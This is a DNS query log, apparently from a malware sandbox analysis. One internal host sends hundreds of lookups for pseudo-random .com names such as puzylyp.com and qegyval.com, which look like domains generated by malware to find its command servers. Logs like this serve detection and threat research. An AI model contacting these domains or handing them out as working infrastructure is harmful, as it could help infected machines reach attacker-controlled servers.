                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974340916 CET192.168.2.61.1.1.10x8db0Standard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974416018 CET192.168.2.61.1.1.10xda4cStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974817991 CET192.168.2.61.1.1.10x86a9Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.991792917 CET192.168.2.61.1.1.10x172aStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.992124081 CET192.168.2.61.1.1.10xf1c3Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.994189024 CET192.168.2.61.1.1.10xc336Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.997484922 CET192.168.2.61.1.1.10x4da6Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.997770071 CET192.168.2.61.1.1.10xed6cStandard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.998136044 CET192.168.2.61.1.1.10x8986Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.003547907 CET192.168.2.61.1.1.10xe01aStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.011066914 CET192.168.2.61.1.1.10x4c32Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.011648893 CET192.168.2.61.1.1.10x3ffbStandard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.018594980 CET192.168.2.61.1.1.10xa0Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.824131012 CET192.168.2.61.1.1.10xdfacStandard query (0)pupydeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.851231098 CET192.168.2.61.1.1.10x9955Standard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.853267908 CET192.168.2.61.1.1.10x7a05Standard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.880652905 CET192.168.2.61.1.1.10x81edStandard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.881987095 CET192.168.2.61.1.1.10x7b33Standard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.883622885 CET192.168.2.61.1.1.10x9302Standard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.885565996 CET192.168.2.61.1.1.10x7ae4Standard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.889838934 CET192.168.2.61.1.1.10x649dStandard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.892216921 CET192.168.2.61.1.1.10x2264Standard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.893079042 CET192.168.2.61.1.1.10x7ce0Standard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906280041 CET192.168.2.61.1.1.10xc497Standard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906454086 CET192.168.2.61.1.1.10x62b1Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906590939 CET192.168.2.61.1.1.10x6035Standard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906774998 CET192.168.2.61.1.1.10xd20Standard query (0)lygynud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906899929 CET192.168.2.61.1.1.10x596Standard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.915771008 CET192.168.2.61.1.1.10x2d4cStandard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.951781034 CET192.168.2.61.1.1.10x7dbfStandard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.953144073 CET192.168.2.61.1.1.10x458bStandard query (0)lyrysor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.983674049 CET192.168.2.61.1.1.10x7b5bStandard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.989972115 CET192.168.2.61.1.1.10xbdebStandard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.991375923 CET192.168.2.61.1.1.10x11e1Standard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.995467901 CET192.168.2.61.1.1.10x39f1Standard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.996298075 CET192.168.2.61.1.1.10xf494Standard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.997622013 CET192.168.2.61.1.1.10x4310Standard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.998516083 CET192.168.2.61.1.1.10xfe83Standard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.998927116 CET192.168.2.61.1.1.10x1006Standard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.000077963 CET192.168.2.61.1.1.10xb2dcStandard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.000868082 CET192.168.2.61.1.1.10x7a16Standard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.002047062 CET192.168.2.61.1.1.10x2678Standard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.003528118 CET192.168.2.61.1.1.10x7769Standard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.004714012 CET192.168.2.61.1.1.10x3af1Standard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.005692005 CET192.168.2.61.1.1.10x51b7Standard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.006777048 CET192.168.2.61.1.1.10x4c61Standard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.006974936 CET192.168.2.61.1.1.10xf56eStandard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.008454084 CET192.168.2.61.1.1.10x8158Standard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.009274006 CET192.168.2.61.1.1.10xb0a3Standard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.015732050 CET192.168.2.61.1.1.10xd584Standard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.016840935 CET192.168.2.61.1.1.10x438Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.019961119 CET192.168.2.61.1.1.10x2b15Standard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.021548986 CET192.168.2.61.1.1.10x7c8cStandard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.022109985 CET192.168.2.61.1.1.10x1c5bStandard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.023583889 CET192.168.2.61.1.1.10xc3ceStandard query (0)vopycom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.024159908 CET192.168.2.61.1.1.10xaf8aStandard query (0)pupycag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.025298119 CET192.168.2.61.1.1.10x3a0aStandard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.026283979 CET192.168.2.61.1.1.10x95cStandard query (0)lysyvan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.027107000 CET192.168.2.61.1.1.10xf84Standard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.031053066 CET192.168.2.61.1.1.10xb2ceStandard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.031212091 CET192.168.2.61.1.1.10xedfaStandard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.032042027 CET192.168.2.61.1.1.10x70e6Standard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.033179998 CET192.168.2.61.1.1.10x56c6Standard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.033796072 CET192.168.2.61.1.1.10x3d1bStandard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.034616947 CET192.168.2.61.1.1.10x5e26Standard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.145898104 CET192.168.2.61.1.1.10x8b2cStandard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.152420044 CET192.168.2.61.1.1.10x739aStandard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.156913042 CET192.168.2.61.1.1.10xba1fStandard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.159832954 CET192.168.2.61.1.1.10xf36cStandard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.170006037 CET192.168.2.61.1.1.10x8268Standard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.209096909 CET192.168.2.61.1.1.10xbaa7Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.227040052 CET192.168.2.61.1.1.10xcbbcStandard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.228208065 CET192.168.2.61.1.1.10xefe4Standard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.229670048 CET192.168.2.61.1.1.10xfa3dStandard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.269134045 CET192.168.2.61.1.1.10xb03bStandard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.269896984 CET192.168.2.61.1.1.10x7b33Standard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.270788908 CET192.168.2.61.1.1.10xb503Standard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.626756907 CET192.168.2.61.1.1.10xe280Standard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.627233982 CET192.168.2.61.1.1.10xe4f6Standard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.627679110 CET192.168.2.61.1.1.10x9f72Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.628077030 CET192.168.2.61.1.1.10x790eStandard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.634454966 CET192.168.2.61.1.1.10xdd8aStandard query (0)galynuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.635454893 CET192.168.2.61.1.1.10x1ebStandard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.636738062 CET192.168.2.61.1.1.10xa360Standard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.666718006 CET192.168.2.61.1.1.10x3aa1Standard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.707135916 CET192.168.2.61.1.1.10x208cStandard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.712532043 CET192.168.2.61.1.1.10x1d41Standard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.716716051 CET192.168.2.61.1.1.10x9d07Standard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.721795082 CET192.168.2.61.1.1.10xa2efStandard query (0)gaqykab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.747279882 CET192.168.2.61.1.1.10x7c73Standard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.747648001 CET192.168.2.61.1.1.10x67d4Standard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.792717934 CET192.168.2.61.1.1.10x7bb7Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.793483973 CET192.168.2.61.1.1.10xd496Standard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.794289112 CET192.168.2.61.1.1.10x11e3Standard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.799484968 CET192.168.2.61.1.1.10x5b50Standard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.813673973 CET192.168.2.61.1.1.10xf33dStandard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.844245911 CET192.168.2.61.1.1.10x5c5bStandard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.847687960 CET192.168.2.61.1.1.10xe2b0Standard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.849319935 CET192.168.2.61.1.1.10x2f1bStandard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.849733114 CET192.168.2.61.1.1.10x30b5Standard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.852325916 CET192.168.2.61.1.1.10x3f4dStandard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.853288889 CET192.168.2.61.1.1.10xb23fStandard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.853884935 CET192.168.2.61.1.1.10x61aeStandard query (0)vowykaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874237061 CET192.168.2.61.1.1.10xe845Standard query (0)pujydag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874397993 CET192.168.2.61.1.1.10x6290Standard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874634027 CET192.168.2.61.1.1.10x16e9Standard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874802113 CET192.168.2.61.1.1.10x5629Standard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875186920 CET192.168.2.61.1.1.10x6dcbStandard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875339031 CET192.168.2.61.1.1.10x4aa1Standard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875653982 CET192.168.2.61.1.1.10xd12cStandard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875804901 CET192.168.2.61.1.1.10x7bb0Standard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876044989 CET192.168.2.61.1.1.10xc0e3Standard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876194000 CET192.168.2.61.1.1.10xe6c2Standard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876564980 CET192.168.2.61.1.1.10xf000Standard query (0)qexyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876734018 CET192.168.2.61.1.1.10xde30Standard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.877048016 CET192.168.2.61.1.1.10xa025Standard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.877496958 CET192.168.2.61.1.1.10xbff8Standard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.894145012 CET192.168.2.61.1.1.10x4eebStandard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.894836903 CET192.168.2.61.1.1.10xea4bStandard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.895004988 CET192.168.2.61.1.1.10x4ff6Standard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.895270109 CET192.168.2.61.1.1.10xce08Standard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.897265911 CET192.168.2.61.1.1.10x2625Standard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.900412083 CET192.168.2.61.1.1.10xff34Standard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.109793901 CET192.168.2.61.1.1.10x9405Standard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.125233889 CET192.168.2.61.1.1.10x6107Standard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.125672102 CET192.168.2.61.1.1.10x5092Standard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.125849009 CET192.168.2.61.1.1.10xe42bStandard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126183987 CET192.168.2.61.1.1.10x24fcStandard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126656055 CET192.168.2.61.1.1.10x42b6Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126811028 CET192.168.2.61.1.1.10xbaf3Standard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126964092 CET192.168.2.61.1.1.10x546dStandard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127110004 CET192.168.2.61.1.1.10x72a5Standard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127340078 CET192.168.2.61.1.1.10xacb9Standard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127466917 CET192.168.2.61.1.1.10x7d14Standard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127940893 CET192.168.2.61.1.1.10x8a43Standard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.132618904 CET192.168.2.61.1.1.10x11f8Standard query (0)vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.132819891 CET192.168.2.61.1.1.10xa899Standard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.133174896 CET192.168.2.61.1.1.10xb4a7Standard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.134609938 CET192.168.2.61.1.1.10xa630Standard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.134870052 CET192.168.2.61.1.1.10x9f98Standard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.135229111 CET192.168.2.61.1.1.10x62faStandard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.782835007 CET192.168.2.61.1.1.10x7bb7Standard query (0)lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.876529932 CET192.168.2.61.1.1.10xd12cStandard query (0)qegyval.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.907783985 CET192.168.2.61.1.1.10x2625Standard query (0)gadyciz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.907840014 CET192.168.2.61.1.1.10xce08Standard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.538734913 CET192.168.2.61.1.1.10xab6fStandard query (0)ww25.lyxynyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.770032883 CET192.168.2.61.1.1.10xa716Standard query (0)ww16.vofycot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.985619068 CET192.168.2.61.1.1.10x68b3Standard query (0)vopyret.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.987663984 CET192.168.2.61.1.1.10x5beStandard query (0)qekyvav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.988095999 CET192.168.2.61.1.1.10x9c36Standard query (0)lykyvod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.989255905 CET192.168.2.61.1.1.10x2070Standard query (0)pupytyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.990083933 CET192.168.2.61.1.1.10x694cStandard query (0)ganyhuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.994093895 CET192.168.2.61.1.1.10xb865Standard query (0)galyvas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.994191885 CET192.168.2.61.1.1.10xeff3Standard query (0)qebyhuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.014750004 CET192.168.2.61.1.1.10xbffbStandard query (0)lymyjon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.015819073 CET192.168.2.61.1.1.10x1052Standard query (0)pujycov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.016026020 CET192.168.2.61.1.1.10xc89fStandard query (0)vonyjim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.016330004 CET192.168.2.61.1.1.10xe980Standard query (0)gadypuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.017013073 CET192.168.2.61.1.1.10x81efStandard query (0)lysytyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.019098997 CET192.168.2.61.1.1.10x4553Standard query (0)lyvyguj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.024844885 CET192.168.2.61.1.1.10xb19cStandard query (0)vofypuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.036915064 CET192.168.2.61.1.1.10x4078Standard query (0)pumymuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.060178995 CET192.168.2.61.1.1.10x3e22Standard query (0)lyxyfar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.086448908 CET192.168.2.61.1.1.10x8dbcStandard query (0)qebynyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.087218046 CET192.168.2.61.1.1.10x14bbStandard query (0)lykysix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.087801933 CET192.168.2.61.1.1.10x30f5Standard query (0)ganynyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.088470936 CET192.168.2.61.1.1.10xec62Standard query (0)vopykak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.090010881 CET192.168.2.61.1.1.10x9849Standard query (0)gahycib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.090385914 CET192.168.2.61.1.1.10x40Standard query (0)qegytyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.090861082 CET192.168.2.61.1.1.10xfe34Standard query (0)qetyrap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.091530085 CET192.168.2.61.1.1.10x3466Standard query (0)purywop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.091897011 CET192.168.2.61.1.1.10x5b11Standard query (0)lysylej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.092200041 CET192.168.2.61.1.1.10x873bStandard query (0)vonymuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.092442989 CET192.168.2.61.1.1.10x93c9Standard query (0)gacyvah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.092935085 CET192.168.2.61.1.1.10x51eStandard query (0)gadyzyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.093346119 CET192.168.2.61.1.1.10x6524Standard query (0)lymymud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.093688965 CET192.168.2.61.1.1.10xfcf4Standard query (0)qeqykog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.093877077 CET192.168.2.61.1.1.10xa652Standard query (0)puryjil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.094329119 CET192.168.2.61.1.1.10xc1b6Standard query (0)gacyfew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.094506025 CET192.168.2.61.1.1.10xb658Standard query (0)gaqyqis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.095033884 CET192.168.2.61.1.1.10x5ae9Standard query (0)puvygyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.095612049 CET192.168.2.61.1.1.10xc8e8Standard query (0)qegyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:15.171886921 CET192.168.2.61.1.1.10x20ccStandard query (0)vojycif.comA (IP address)IN (0x0001)false
